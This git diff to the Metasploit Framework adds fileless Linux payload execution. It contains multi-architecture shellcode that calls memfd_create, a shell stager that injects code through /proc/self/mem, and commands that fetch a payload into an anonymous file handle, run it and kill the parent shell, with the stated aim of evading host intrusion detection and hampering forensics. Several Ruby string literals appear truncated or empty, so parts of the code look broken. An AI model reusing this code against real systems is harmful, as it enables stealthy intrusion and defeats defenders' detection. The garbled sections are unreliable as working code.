diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index 6b5419d1d04bc..1b63cf150cf6e 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -81,7 +81,7 @@ served payload is the same. ### Dependent Options `FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are -two options: `bash` and `python3.8+`. Both of these require the target to be running Linux Kernel 3.17 or above. +two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. This option is only available when the platform is Linux. `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not @@ -104,6 +104,16 @@ The remaining options will be the options available to you in the served payload `linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different payload, we would see different options. +### Fileless Execution + +For Linux payloads, we support **fileless ELF execution** - this option is enabled with `FETCH_FILELESS`. Currently, this option can be the following values: `python3.8+`, `shell-search`, and `shell`. The basic idea behind all of them is the same: execute the payload from an anonymous file handle, which should never touch a disk, thereby adding a layer of stealth. + +The `shell-search` option searches for available anonymous file handles available on the system, copies the payload into the one it finds, and executes the payload from that handle. This method uses `POSIX` commands only so that it can be run in any shell. + +The `shell` option uses a slightly different approach: it runs the assembly stub from a shell, creates an anonymous file handle inside of the shell process, copies the payload into a new handle, and then runs it. Finally, it will kill the original shell process, leaving the payload running as *orphan* process. This method uses a syscall `memfd_create` to create an anonymous file handle. +This option can be used in any Linux shell. + +The `python3.8+` option uses the same technique as the `shell` option. However, it all happens in Python code. It will call the `os.memfd_create` function, which will create an anonymous file handle from the Python process. Then, it uses `os.system` to copy the payload into a new file handle and execute it. This option requires Python version 3.8 or higher on the target machine. ### Generating the Fetch Payload ```msf msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index f8f2d2407c842..e9d36b7163746 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -1,4 +1,6 @@ module Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Fileless + def initialize(*args) super register_options( @@ -252,7 +254,8 @@ def _execute_win(get_file_cmd) end def _execute_nix(get_file_cmd) - return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash' + return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' + return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' @@ -278,37 +281,6 @@ def _generate_certutil_command _execute_add(get_file_cmd) end - # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor - def _generate_fileless(get_file_cmd) - # get list of all $USER's processes - cmd = 'FOUND=0' - cmd << ";for i in $(ps -u $USER | awk '{print $1}')" - # already found anonymous file where we can write - cmd << '; do if [ $FOUND -eq 0 ]' - - # look for every symbolic link with write rwx permissions - # if found one, try to download payload into the anonymous file - # and execute it - cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' - cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' - cmd << "; then if $(#{get_file_cmd} >/dev/null)" - cmd << '; then $f' - cmd << '; FOUND=1' - cmd << '; break' - cmd << '; fi' - cmd << '; fi' - cmd << '; done' - cmd << '; fi' - cmd << '; done' - - cmd - end - - # same idea as _generate_fileless function, but force creating anonymous file handle - def _generate_fileless_python(get_file_cmd) - %Q - end - def _generate_curl_command case fetch_protocol when 'HTTP' diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb new file mode 100644 index 0000000000000..71d8630ca40af --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -0,0 +1,346 @@ +module Msf::Payload::Adapter::Fetch::Fileless + + def _generate_first_stage_shellcode(arch) + case arch + when 'x64' + # fd = memfd_create() + # ftruncate(fd, null) + # pause() + in_memory_loader_asm = %( + start: + xor rsi, rsi + push rsi + push rsp + pop rdi + mov rax, 0xfffffffffffffec1 + neg rax + syscall + mov rdi,rax + mov al, 0x4d + syscall + push 0x22 + pop rax + syscall + + ) + payload = Metasm::Shellcode.assemble(Metasm::X64.new, in_memory_loader_asm).encode_string + when 'x86' + # fd = memfd_create() + # ftruncate(fd, null) + # pause() + in_memory_loader_asm= %( + xor ecx, ecx + push ecx + lea ebx, [esp] + inc ecx + mov eax, 0xfffffe9c + neg eax + int 0x80 + mov ebx, eax + mov al, 0x5d + int 0x80 + mov al, 0x1d + int 0x80 + ) + payload = Metasm::Shellcode.assemble(Metasm::X86.new, in_memory_loader_asm).encode_string + when 'aarch64' + # fd = memfd_create() + # ftruncate(fd, null) + # pid = getpid() + # kill(pid,SIGSTOP) + in_memory_loader_asm = [ + 0x000080d2, #0x1000: mov x0, #0 0x000080d2 + 0xe00f1ff8, #0x1004: str x0, [sp, #-0x10]! 0xe00f1ff8 + 0xe0030091, #0x1008: mov x0, sp 0xe0030091 + 0x210001ca, #0x100c: eor x1, x1, x1 0x210001ca + 0xe82280d2, #0x1010: mov x8, #0x117 0xe82280d2 + 0x010000d4, #0x1014: svc #0 0x010000d4 + 0xc80580d2, #0x1018: mov x8, #0x2e 0xc80580d2 + 0x010000d4, #0x101c: svc #0 0x010000d4 + 0x881580d2, #0x1020: mov x8, #0xac 0x881580d2 + 0x010000d4, #0x1024: svc #0 0x010000d4 + 0x610280d2, #0x1028: mov x1, #0x13 0x610280d2 + 0x281080d2, #0x102c: mov x8, #0x81 0x281080d2 + 0x010000d4, #0x1030: svc #0 0x010000d4 + + ] + payload = in_memory_loader_asm.pack("N*") + when 'armle' + in_memory_loader_asm = [ + 0xe3b02000, #0x1000: movs r2, #0 0xe3b02000 + 0xe52d2004, #0x1004: str r2, [sp, #-4]! 0xe52d2004 + 0xe1a0000d, #0x1008: mov r0, sp 0xe1a0000d + 0xe3a01001, #0x100c: mov r1, #1 0xe3a01001 + 0xe3a07083, #0x1010: mov r7, #0x83 0xe3a07083 + 0xe28770fe, #0x1014: add r7, r7, #0xfe 0xe28770fe + 0xef000000, #0x1018: svc #0 0xef000000 + 0xe3a0705d, #0x101c: mov r7, #0x5d 0xe3a0705d + 0xef000000, #0x1020: svc #0 0xef000000 + 0xe3a0701d, #0x1024: mov r7, #0x1d 0xe3a0701d + 0xef000000, #0x1028: svc #0 0xef000000 + ] + payload = in_memory_loader_asm.pack("V*") + when 'armbe' + # fd = memfd_create() + # ftruncate(fd, null) + # pause() + in_memory_loader_asm = [ + 0x0020b0e3, #0x1000: movs r2, #0 0x0020b0e3 + 0x04202de5, #0x1004: str r2, [sp, #-4]! 0x04202de5 + 0x0d00a0e1, #0x1008: mov r0, sp 0x0d00a0e1 + 0x0110a0e3, #0x100c: mov r1, #1 0x0110a0e3 + 0x8370a0e3, #0x1010: mov r7, #0x83 0x8370a0e3 + 0xfe7087e2, #0x1014: add r7, r7, #0xfe 0xfe7087e2 + 0x000000ef, #0x1018: svc #0 0x000000ef + 0x5d70a0e3, #0x101c: mov r7, #0x5d 0x5d70a0e3 + 0x000000ef, #0x1020: svc #0 0x000000ef + 0x1d70a0e3, #0x1024: mov r7, #0x1d 0x1d70a0e3 + 0x000000ef, #0x1028: svc #0 0x000000ef +] + payload = in_memory_loader_asm.pack("V*") + when 'mips64' + in_memory_loader_asm = [ + 0x2520a003, #0x1000: move $a0, $sp 0x2520a003 + 0x01000524, #0x1004: addiu $a1, $zero, 1 0x01000524 + 0xc2140224, #0x1008: addiu $v0, $zero, 0x14c2 0xc2140224 + 0x0c010101, #0x100c: syscall 0x40404 0x0c010101 + 0x2520e003, #0x1010: move $a0, $ra 0x2520e003 + 0xd3130224, #0x1014: addiu $v0, $zero, 0x13d3 0xd3130224 + 0x0c010101, #0x1018: syscall 0x40404 0x0c010101 + 0xa9130224, #0x101c: addiu $v0, $zero, 0x13a9 0xa9130224 + 0x0c010101, #0x1020: syscall 0x40404 0x0c010101 + ] + payload = in_memory_loader_asm.pack('N*') + when 'mipsbe' + in_memory_loader_asm = [ + 0x03a02025, #0x1000: move $a0, $sp 0x03a02025 + 0x24050001, #0x1004: addiu $a1, $zero, 1 0x24050001 + 0x24021102, #0x1008: addiu $v0, $zero, 0x1102 0x24021102 + 0x0101010c, #0x100c: syscall 0x40404 0x0101010c + 0x03e02025, #0x1010: move $a0, $ra 0x03e02025 + 0x24020ffd, #0x1014: addiu $v0, $zero, 0xffd 0x24020ffd + 0x0101010c, #0x1018: syscall 0x40404 0x0101010c + 0x24020fbd, #0x101c: addiu $v0, $zero, 0xfbd 0x24020fbd + 0x0101010c, #0x1020: syscall 0x40404 0x0101010c + + ] + payload = in_memory_loader_asm.pack('N*') + when 'mipsle' + in_memory_loader_asm = [ + 0x2520a003, #0x1000: move $a0, $sp 0x2520a003 + 0x01000524, #0x1004: addiu $a1, $zero, 1 0x01000524 + 0x02110224, #0x1008: addiu $v0, $zero, 0x1102 0x02110224 + 0x0c010101, #0x100c: syscall 0x40404 0x0c010101 + 0x2520e003, #0x1010: move $a0, $ra 0x2520e003 + 0xfd0f0224, #0x1014: addiu $v0, $zero, 0xffd 0xfd0f0224 + 0x0c010101, #0x1018: syscall 0x40404 0x0c010101 + 0xbd0f0224, #0x101c: addiu $v0, $zero, 0xfbd 0xbd0f0224 + 0x0c010101, #0x1020: syscall 0x40404 0x0c010101 +] + payload = in_memory_loader_asm.pack('N*') + + when 'ppc' + in_memory_loader_asm = [ + 0x0000c039, #0x1000: li r14, 0 0x0000c039 + 0x0000c195, #0x1004: stwu r14, 0(r1) 0x0000c195 + 0x780b237c, #0x1008: mr r3, r1 0x780b237c + 0x00008038, #0x100c: li r4, 0 0x00008038 + 0x68010038, #0x1010: li r0, 0x168 0x68010038 + 0x02000044, #0x1014: sc 0x02000044 + 0x5d000038, #0x1018: li r0, 0x5d 0x5d000038 + 0x02000044, #0x101c: sc 0x02000044 + 0x1d000038, #0x1020: li r0, 0x1d 0x1d000038 + 0x02000044, #0x1024: sc 0x02000044 + ] + payload = in_memory_loader_asm.pack('V*') + when 'ppc64' + in_memory_loader_asm = [ + 0x39c00000, #0x1000: li r14, 0 0x39c00000 + 0x95c10000, #0x1004: stwu r14, 0(r1) 0x95c10000 + 0x7c230b78, #0x1008: mr r3, r1 0x7c230b78 + 0x38800000, #0x100c: li r4, 0 0x38800000 + 0x38000168, #0x1010: li r0, 0x168 0x38000168 + 0x44000002, #0x1014: sc 0x44000002 + 0x3800005d, #0x1018: li r0, 0x5d 0x3800005d + 0x44000002, #0x101c: sc 0x44000002 + 0x3800001d, #0x1020: li r0, 0x1d 0x3800001d + 0x44000002, #0x1024: sc 0x44000002 + ] + payload = in_memory_loader_asm.pack('N*') + when 'ppc64le' + in_memory_loader_asm = [ + 0x0000c039, #0x1000: li r14, 0 0x0000c039 + 0x0000c195, #0x1004: stwu r14, 0(r1) 0x0000c195 + 0x780b237c, #0x1008: mr r3, r1 0x780b237c + 0x00008038, #0x100c: li r4, 0 0x00008038 + 0x68010038, #0x1010: li r0, 0x168 0x68010038 + 0x02000044, #0x1014: sc 0x02000044 + 0x5d000038, #0x1018: li r0, 0x5d 0x5d000038 + 0x02000044, #0x101c: sc 0x02000044 + 0x1d000038, #0x1020: li r0, 0x1d 0x1d000038 + 0x02000044, #0x1024: sc 0x02000044 + ] + payload = in_memory_loader_asm.pack('N*') + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') + end + return payload + end + + def _generate_jmp_instruction(arch) + # + # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses + + case arch + # x64 shellcode + # mov rax, [target address] + # jmp rax + when 'x64' + %^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + + # x86 shellcode + # mov eax, [target address] + # jmp eax + when 'x86' + %^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + + # ARM64 shellcode + # ldr x0, #8 + # br x0 + when 'aarch64' + %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + + # ARMle shelcode + # ldr.w r2, [pc, #4] + # bx r2 + when 'armle' + %^"dff804201047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + + # ARMbe shelcode + # ldr.w r2, [pc, #4] + # bx r2 + when 'armbe' + %^"f8df20044710"$(echo $(printf %04x $vdso_addr))^ + + # MIPSEL shellcode + # bgezal $zero, 4 + # xor $t2, $t2,$t2 + # lw $t2, 16($ra) + # jr $t2 + when 'mipsle' + %^"000011040000000026504a011000ea8f0800400100000000"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + + # MIPSBE shellcode + # bgezal $zero, 4 + # xor $t2, $t2,$t2 + # lw $t2, 16($ra) + # jr $t2 + when 'mipsbe' + %^"0411000000000000014a50268fea00100140000800000000"$(echo (printf %04x $vdso_addr))^ + + # MIPS64 shellcode + # bgezal $zero, 4 + # xor $t2, $t2,$t2 + # ld $t2, 16($ra) + # jr $t2 + when 'mips64' + %^"00001104000000002670ce011000eedf0800c00100000000"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + + # PPC shellcode + # bl 4 + # mflr r18 + # lwz r3,16(r18) + # mtlr r3 + # blr + when 'ppc' + %^"480000057e4802a6807200107c6803a64e800020"$(echo $(printf %04x $vdso_addr))^ + + # PPC64 shellcode + # bl 4 + # mflr 18 + # ld 3,16(18) + # mtlr 3 + # blr + when 'ppc64' + %^"480000057e4802a6e87200107c6803a64e800020"$(echo (printf %016x $vdso_addr))^ + # PPC64le shellcode + # bl 4 + # mflr 18 + # ld 3,16(18) + # mtlr 3 + # blr + when 'ppc64le' + %^"05000048a602487e100072e8a603687c2000804e"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') + end + end + +# Original Idea: The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor +# New idea: use /proc/*/mem to write shellcode stager into bash process and create anonymous handle on-fly, then search for that handle and use same approach as original idea +def _generate_fileless_shell(get_file_cmd, arch) + stage_cmd = % + stage_cmd << % + stage_cmd << %(jmp=#{_generate_jmp_instruction(arch)};) + stage_cmd << %(sc='#{_generate_first_stage_shellcode(arch).unpack("H*")[0]}';) + stage_cmd << 'read syscall_info < /proc/self/syscall;' + stage_cmd << "addr=$(($(echo $syscall_info | cut -d' ' -f9)));" + stage_cmd << 'exec 3>/proc/self/mem;' + stage_cmd << 'dd bs=1 skip=$vdso_addr <&3 >/dev/null 2>&1;' + stage_cmd << %(printf "$(writebytes `printf $sc | sed 's/.\\{2\\}/0x& /g'`)" >&3;) + stage_cmd << 'exec 3>&-;' + stage_cmd << 'exec 3>/proc/self/mem;' + stage_cmd << 'dd bs=1 skip=$addr <&3 >/dev/null 2>&1;' + stage_cmd << %(printf "$(writebytes `printf $jmp | sed 's/.\\{2\\}/0x& /g'`)" >&3;) + + cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | ${SHELL} & " + cmd << 'cd /proc/$!;' + cmd << 'og_process=$!;' + cmd << 'sleep 2;' #adding short pause to give process time to load file handle + cmd << 'FOUND=0;if [ $FOUND -eq 0 ];' + + cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' + cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' + cmd << "then if $(#{get_file_cmd} >/dev/null);" + cmd << 'then $f & FOUND=1;break;' + cmd << 'fi;' + cmd << 'fi;' + cmd << 'done;' + cmd << 'fi;' + cmd << 'sleep 2;' #adding short pause to give process time to load file handle + cmd << 'kill -9 $og_process;' +end + + # same idea as _generate_fileless function, but force creating anonymous file handle + def _generate_fileless_python(get_file_cmd) + %Q + end + + # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor + def _generate_fileless_bash_search(get_file_cmd) + # get list of all $USER's processes + cmd = 'FOUND=0' + cmd << ";for i in $(ps -u $USER | awk '{print $1}')" + # already found anonymous file where we can write + cmd << '; do if [ $FOUND -eq 0 ]' + + # look for every symbolic link with write rwx permissions + # if found one, try to download payload into the anonymous file + # and execute it + cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' + cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' + cmd << "; then if $(#{get_file_cmd} >/dev/null)" + cmd << '; then $f' + cmd << '; FOUND=1' + cmd << '; break' + cmd << '; fi' + cmd << '; fi' + cmd << '; done' + cmd << '; fi' + cmd << '; done' + + cmd + end + +end + diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index 358fd70f17bf2..9de6c82bf51aa 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -4,7 +4,7 @@ def initialize(info = {}) register_options( [ Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]), - Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]), + Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh)','none', ['none','python3.8+','shell-search','shell']]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']), Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL WGET]]), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none'])